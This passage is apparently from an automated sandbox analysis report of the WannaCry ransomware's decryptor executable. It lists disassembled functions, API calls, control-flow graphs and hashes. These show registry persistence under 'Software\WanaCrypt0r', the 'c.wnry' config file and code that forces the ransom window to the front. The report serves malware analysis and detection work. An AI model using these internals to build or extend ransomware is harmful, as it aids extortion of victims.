                                                                                                                            • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406219
                                                                                                                            • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406229
                                                                                                                          • #2514.MFC42 ref: 00405AC1
                                                                                                                            • Part of subcall function 00403F20: #2414.MFC42(?,?,?,004136B8,000000FF,00403F08), ref: 00403F4B
                                                                                                                            • Part of subcall function 00403F90: #2414.MFC42(?,?,?,004136D8,000000FF,00403F78), ref: 00403FBB
                                                                                                                          • #800.MFC42 ref: 00405C33
                                                                                                                          • #800.MFC42 ref: 00405C47
                                                                                                                          • #800.MFC42 ref: 00405C5B
                                                                                                                          • #800.MFC42 ref: 00405C6F
                                                                                                                          • #781.MFC42 ref: 00405C83
                                                                                                                            • Part of subcall function 004050A0: #800.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050CE
                                                                                                                            • Part of subcall function 004050A0: #795.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050DD
                                                                                                                            • Part of subcall function 00404170: #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
                                                                                                                            • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
                                                                                                                            • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
                                                                                                                            • Part of subcall function 00404170: #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1
                                                                                                                            • Part of subcall function 00405D90: #654.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DBE
                                                                                                                            • Part of subcall function 00405D90: #765.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DCD
                                                                                                                          • #609.MFC42 ref: 00405D37
                                                                                                                          • #609.MFC42 ref: 00405D4B
                                                                                                                          • #616.MFC42 ref: 00405D5C
                                                                                                                          • #641.MFC42 ref: 00405D70
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #800Window$#540#567$#2414$#609#795$#1134#2514#2621#324#616#641#6438#654#765#781ActiveBringExitFindFocusForegroundProcessShow
                                                                                                                          • String ID: 0ZA$DZA$Wana Decrypt0r 2.0
                                                                                                                          • API String ID: 3942368781-2594244635
                                                                                                                          • Opcode ID: e0fcef159a601972dbb815ea7c34e59d1ddbf6f278b0c37dd8899ed76481b774
                                                                                                                          • Instruction ID: 9717df00861f10ea142a6202e5f0f29f583150bd1f0a7909c2c79a4805d5fd97
                                                                                                                          • Opcode Fuzzy Hash: e0fcef159a601972dbb815ea7c34e59d1ddbf6f278b0c37dd8899ed76481b774
                                                                                                                          • Instruction Fuzzy Hash: 3871B7345097C18EE735EB25C2557DFBBE4BFA6308F48981E94C916682DFB81108CBA7
                                                                                                                          Function 00407A90 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 90COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 129 407a90-407ab7 130 407bf4-407c28 #2385 129->130 131 407abd-407ac5 129->131 132 407ac7 131->132 133 407aca-407ad1 131->133 132->133 133->130 134 407ad7-407af9 call 404c40 #2514 133->134 137 407b72-407bef #2414 * 2 #800 #641 134->137 138 407afb-407b6d #537 #941 #939 #6876 * 2 #535 call 4082c0 #800 134->138 137->130 138->137
                                                                                                                          APIs
                                                                                                                          • #2514.MFC42 ref: 00407AF1
                                                                                                                          • #537.MFC42(***), ref: 00407B04
                                                                                                                          • #941.MFC42(00421234,***), ref: 00407B1A
                                                                                                                          • #939.MFC42(?,00421234,***), ref: 00407B28
                                                                                                                          • #6876.MFC42(0000000A,0000003B,?,00421234,***), ref: 00407B35
                                                                                                                          • #6876.MFC42(0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B42
                                                                                                                          • #535.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B55
                                                                                                                          • #800.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B6D
                                                                                                                          • #2414.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B99
                                                                                                                          • #2414.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BC2
                                                                                                                          • #800.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BDB
                                                                                                                          • #641.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BEF
                                                                                                                          • #2385.MFC42(?,?,?), ref: 00407C0E
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414#6876#800$#2385#2514#535#537#641#939#941
                                                                                                                          • String ID: ***$[A$[A
                                                                                                                          • API String ID: 3659526348-3419262722
                                                                                                                          • Opcode ID: aba664889de062b5968d276a4ab1c1a83eae795fd60498f81a51ba759143eada
                                                                                                                          • Instruction ID: 6b54b999ec918a2e7db5809f8de8f0b59fd624410e6f3b71b4409e3b9ece79cc
                                                                                                                          • Opcode Fuzzy Hash: aba664889de062b5968d276a4ab1c1a83eae795fd60498f81a51ba759143eada
                                                                                                                          • Instruction Fuzzy Hash: D5416A3410C781DAD324DB21C541BEFB7E4BB94704F408A1EB5A9832D1DBB89549CF67
                                                                                                                          Function 004063A0 Relevance: 22.6, APIs: 15, Instructions: 82COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 141 4063a0-4064b5 #2302 * 12 #2370 * 3
                                                                                                                          APIs
                                                                                                                          • #2302.MFC42(?,0000040F,?), ref: 004063B2
                                                                                                                          • #2302.MFC42(?,000003EC,?,?,0000040F,?), ref: 004063C4
                                                                                                                          • #2302.MFC42(?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063D6
                                                                                                                          • #2302.MFC42(?,000003F3,?,?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063E8
                                                                                                                          • #2302.MFC42(?,000003F4,?,?,000003F3,?,?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063FA
                                                                                                                          • #2302.MFC42(?,000003F5,?,?,000003F4,?,?,000003F3,?,?,000003EB,?,?,000003EC,?,?), ref: 0040640C
                                                                                                                          • #2302.MFC42(?,000003F2,?,?,000003F5,?,?,000003F4,?,?,000003F3,?,?,000003EB,?,?), ref: 0040641E
                                                                                                                          • #2302.MFC42(?,000003EE,?,?,000003F2,?,?,000003F5,?,?,000003F4,?,?,000003F3,?,?), ref: 00406430
                                                                                                                          • #2302.MFC42(?,000003F9,?,?,000003EE,?,?,000003F2,?,?,000003F5,?,?,000003F4,?,?), ref: 00406442
                                                                                                                          • #2302.MFC42(?,00000401,?,?,000003F9,?,?,000003EE,?,?,000003F2,?,?,000003F5,?,?), ref: 00406454
                                                                                                                          • #2302.MFC42(?,000003FD,?,?,00000401,?,?,000003F9,?,?,000003EE,?,?,000003F2,?,?), ref: 00406466
                                                                                                                          • #2302.MFC42(?,000003E8,?,?,000003FD,?,?,00000401,?,?,000003F9,?,?,000003EE,?,?), ref: 00406478
                                                                                                                          • #2370.MFC42(?,000003FF,?,?,000003E8,?,?,000003FD,?,?,00000401,?,?,000003F9,?,?), ref: 0040648A
                                                                                                                          • #2370.MFC42(?,000003FC,?,?,000003FF,?,?,000003E8,?,?,000003FD,?,?,00000401,?,?), ref: 0040649C
                                                                                                                          • #2370.MFC42(?,000003EF,?,?,000003FC,?,?,000003FF,?,?,000003E8,?,?,000003FD,?,?), ref: 004064AE
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2302$#2370
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1711274145-0
                                                                                                                          • Opcode ID: f4b882eb859de0a193a05a3978ec51d1331cae20c00cf70a3d190a6334ff0923
                                                                                                                          • Instruction ID: 0d28d22553b71fc94a0ee6c66579bb390b9294cd647fac9b7e1ecc0347327b15
                                                                                                                          • Opcode Fuzzy Hash: f4b882eb859de0a193a05a3978ec51d1331cae20c00cf70a3d190a6334ff0923
                                                                                                                          • Instruction Fuzzy Hash: 32218E711806017FE22AE365CD82FFFA26CEF85B04F00452EB369951C1BBE8365B5665
                                                                                                                          Function 00413102 Relevance: 16.6, APIs: 11, Instructions: 111COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 142 413102-413177 __set_app_type __p__fmode __p__commode call 4133c7 145 413185-4131dc call 4133b2 _initterm __getmainargs _initterm 142->145 146 413179-413184 __setusermatherr 142->146 149 413218-41321b 145->149 150 4131de-4131e6 145->150 146->145 151 4131f5-4131f9 149->151 152 41321d-413221 149->152 153 4131e8-4131ea 150->153 154 4131ec-4131ef 150->154 156 4131fb-4131fd 151->156 157 4131ff-413210 GetStartupInfoA 151->157 152->149 153->150 153->154 154->151 155 4131f1-4131f2 154->155 155->151 156->155 156->157 158 413223-413225 157->158 159 413212-413216 157->159 160 413226-413231 GetModuleHandleA call 4133e6 158->160 159->160 162 413236-413253 exit _XcptFilter 160->162
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 801014965-0
                                                                                                                          • Opcode ID: 9f29f74fa0ca4091ce937db24ce742eca73e17089ce00c114469281514e7078a
                                                                                                                          • Instruction ID: fcecf6e401754473f6225594f41014142e7d5ca2867d00c097f2044c16acc313
                                                                                                                          • Opcode Fuzzy Hash: 9f29f74fa0ca4091ce937db24ce742eca73e17089ce00c114469281514e7078a
                                                                                                                          • Instruction Fuzzy Hash: F9419F71940308EFCB20DFA4DC45AE97BB9EB09711B20016FF855972A1D7788A81CB6C
                                                                                                                          Function 00401C70 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 114registryCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 163 401c70-401cd8 wcscat 164 401cdc-401cde 163->164 165 401ce0-401cef 164->165 166 401cf1-401cfb 164->166 167 401d00-401d0c RegCreateKeyW 165->167 166->167 168 401d12-401d1b 167->168 169 401dad-401db5 167->169 170 401d62-401d8e RegQueryValueExA 168->170 171 401d1d-401d60 GetCurrentDirectoryA RegSetValueExA 168->171 169->164 172 401dbb-401dc7 169->172 173 401d9e-401dab RegCloseKey 170->173 174 401d90-401d98 SetCurrentDirectoryA 170->174 171->173 173->169 175 401dc8-401dd7 173->175 174->173
                                                                                                                          APIs
                                                                                                                          • wcscat.MSVCRT ref: 00401CC1
                                                                                                                          • RegCreateKeyW.ADVAPI32(80000001,?,?), ref: 00401D00
                                                                                                                          • GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 00401D2A
                                                                                                                          • RegSetValueExA.ADVAPI32(?,0041FDC4,00000000,00000001,?), ref: 00401D53
                                                                                                                          • RegQueryValueExA.KERNELBASE ref: 00401D81
                                                                                                                          • SetCurrentDirectoryA.KERNEL32(?), ref: 00401D98
                                                                                                                          • RegCloseKey.KERNELBASE(00000000), ref: 00401DA3
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: CurrentDirectoryValue$CloseCreateQuerywcscat
                                                                                                                          • String ID: Software\$WanaCrypt0r
                                                                                                                          • API String ID: 3883271862-1723423467
                                                                                                                          • Opcode ID: 105d7a24118395946ed673951bb32e2166cb0bb2b49e0db688a6da733a97e5a2
                                                                                                                          • Instruction ID: c02b3dbe7123360802e3a7ceba079e11f57c538643229ddb10ed726050e42e59
                                                                                                                          • Opcode Fuzzy Hash: 105d7a24118395946ed673951bb32e2166cb0bb2b49e0db688a6da733a97e5a2
                                                                                                                          • Instruction Fuzzy Hash: 5F31C271208341ABD320CF54DC44BEBB7A8FFC4750F404D2EF996A7290D7B4A90987A6
                                                                                                                          Function 004085C0 Relevance: 13.6, APIs: 9, Instructions: 75COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 176 4085c0-408652 #567 #341 GetSysColor * 4 KiUserCallbackDispatcher 177 408660-4086a6 #6140 176->177 178 408654-408658 176->178 178->177 179 40865a-40865e GetSysColor 178->179 179->177
                                                                                                                          APIs
                                                                                                                          • #567.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085E2
                                                                                                                          • #341.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085F6
                                                                                                                          • GetSysColor.USER32 ref: 0040861D
                                                                                                                          • GetSysColor.USER32(00000009), ref: 00408624
                                                                                                                          • GetSysColor.USER32(00000012), ref: 0040862B
                                                                                                                          • GetSysColor.USER32(00000002), ref: 00408632
                                                                                                                          • KiUserCallbackDispatcher.NTDLL(00001008,00000000,00000000,00000000), ref: 0040864A
                                                                                                                          • GetSysColor.USER32(0000001B), ref: 0040865C
                                                                                                                          • #6140.MFC42(00000002,000000FF), ref: 00408667
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Color$#341#567#6140CallbackDispatcherUser
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2603677082-0
                                                                                                                          • Opcode ID: 51668d6117463ada0c326ac575935f99ab198cb4b06a73068adc63a74b909c1d
                                                                                                                          • Instruction ID: 8505b43e8b24dba0e9a20122b4cf5018a120a2575fdff98832e5101b57525ea5
                                                                                                                          • Opcode Fuzzy Hash: 51668d6117463ada0c326ac575935f99ab198cb4b06a73068adc63a74b909c1d
                                                                                                                          • Instruction Fuzzy Hash: 7D2159B0900B449FD320DF2AC985B96FBE4FF84B14F504A2FE19687791D7B9A844CB85
                                                                                                                          Function 0040B620 Relevance: 13.5, APIs: 9, Instructions: 45windowCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                          • FindWindowW.USER32(00000000,00000000), ref: 0040B628
                                                                                                                          • ShowWindow.USER32(00000000,00000005,00000000,?,00000000), ref: 0040B638
                                                                                                                          • SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B651
                                                                                                                          • SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B660
                                                                                                                          • SetForegroundWindow.USER32(00000000), ref: 0040B663
                                                                                                                          • SetFocus.USER32(00000000,?,00000000), ref: 0040B66A
                                                                                                                          • SetActiveWindow.USER32(00000000,?,00000000), ref: 0040B671
                                                                                                                          • BringWindowToTop.USER32(00000000), ref: 0040B678
                                                                                                                          • ExitProcess.KERNEL32 ref: 0040B689
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Window$ActiveBringExitFindFocusForegroundProcessShow
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 962039509-0
                                                                                                                          • Opcode ID: ec9fc34e90d3c79d5292e19d7f02050e94f93b43ef6df305d89d1d3c5b01f4c1
                                                                                                                          • Instruction ID: 32f88169c1f0d7c0e12a36757c7a64a26434f73f58f3758d5628eaed19e7f987
                                                                                                                          • Opcode Fuzzy Hash: ec9fc34e90d3c79d5292e19d7f02050e94f93b43ef6df305d89d1d3c5b01f4c1
                                                                                                                          • Instruction Fuzzy Hash: 66F0F431245A21F7E2315B54AC0DFDF3655DFC5B21F214610F715791D4CB6455018AAD
                                                                                                                          Function 00401A90 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68processsynchronizationCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 184 401a90-401aeb CreateProcessA 185 401b45-401b4c 184->185 186 401aed-401af3 184->186 187 401af5-401b03 WaitForSingleObject 186->187 188 401b26-401b44 CloseHandle * 2 186->188 189 401b12-401b18 187->189 190 401b05-401b0c TerminateProcess 187->190 189->188 191 401b1a-401b20 GetExitCodeProcess 189->191 190->189 191->188
                                                                                                                          APIs
                                                                                                                          • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00401AE3
                                                                                                                          • WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00401AFB
                                                                                                                          • TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00401B0C
                                                                                                                          • GetExitCodeProcess.KERNEL32(?,?), ref: 00401B20
                                                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 00401B31
                                                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 00401B38
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
                                                                                                                          • String ID: D
                                                                                                                          • API String ID: 786732093-2746444292
                                                                                                                          • Opcode ID: 8373994cf4ca8ab825e0652bf8987f65ecb589941da35eb0d7e9f8387e0e63d6
                                                                                                                          • Instruction ID: a0d0216a4cd299e90b964b762458f17e6b97ac91bf96c8f45188d14ebb685e04
                                                                                                                          • Opcode Fuzzy Hash: 8373994cf4ca8ab825e0652bf8987f65ecb589941da35eb0d7e9f8387e0e63d6
                                                                                                                          • Instruction Fuzzy Hash: 4611F7B1618311AFD310CF69C884A9BBBE9EFC8750F50892EF598D2260D774D844CBA6
                                                                                                                          Function 00401A10 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42fileCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 192 401a10-401a18 193 401a21 192->193 194 401a1a-401a1f 192->194 195 401a26-401a38 fopen 193->195 194->195 196 401a3a-401a44 195->196 197 401a6f-401a73 195->197 198 401a53-401a58 fwrite 196->198 199 401a46-401a51 fread 196->199 200 401a5e-401a64 198->200 199->200 201 401a74-401a84 fclose 200->201 202 401a66-401a6c fclose 200->202 202->197
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: fclose$fopenfreadfwrite
                                                                                                                          • String ID: c.wnry
                                                                                                                          • API String ID: 2140422903-3240288721
                                                                                                                          • Opcode ID: 6e9b76c3277035fe504f344658f288149f4646c70a2b683330cc54d29e3cf444
                                                                                                                          • Instruction ID: f5186b7865cb40674a519f70d39de74d6a09c830656aa5640d665e45194f203f
                                                                                                                          • Opcode Fuzzy Hash: 6e9b76c3277035fe504f344658f288149f4646c70a2b683330cc54d29e3cf444
                                                                                                                          • Instruction Fuzzy Hash: 0DF0FC31746310EBD3209B19BD09BD77A56DFC0721F450436FC0ED63A4E2799946899E
                                                                                                                          Function 004043E0 Relevance: 4.5, APIs: 3, Instructions: 15COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 203 4043e0-404408 #4284 #3874 #5277
                                                                                                                          APIs
                                                                                                                          • #4284.MFC42(00000000,00000100,00000001), ref: 004043EC
                                                                                                                          • #3874.MFC42(?,00000000,00000100,00000001), ref: 004043F7
                                                                                                                          • #5277.MFC42 ref: 00404402
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #3874#4284#5277
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1717392697-0
                                                                                                                          • Opcode ID: 4114d52f3e371674d2295fde4232c802f8929f5cfba066acaa82d75807d1c039
                                                                                                                          • Instruction ID: 168dd717f23fd29799672b21daad70d98dc1c3a6295a550393a3fd33bd33aa1c
                                                                                                                          • Opcode Fuzzy Hash: 4114d52f3e371674d2295fde4232c802f8929f5cfba066acaa82d75807d1c039
                                                                                                                          • Instruction Fuzzy Hash: B1D012303487645AE974B266BA0BBDB5A999B45B18F04044FF2459F2C1D9D858D083E5
                                                                                                                          Function 004133E6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
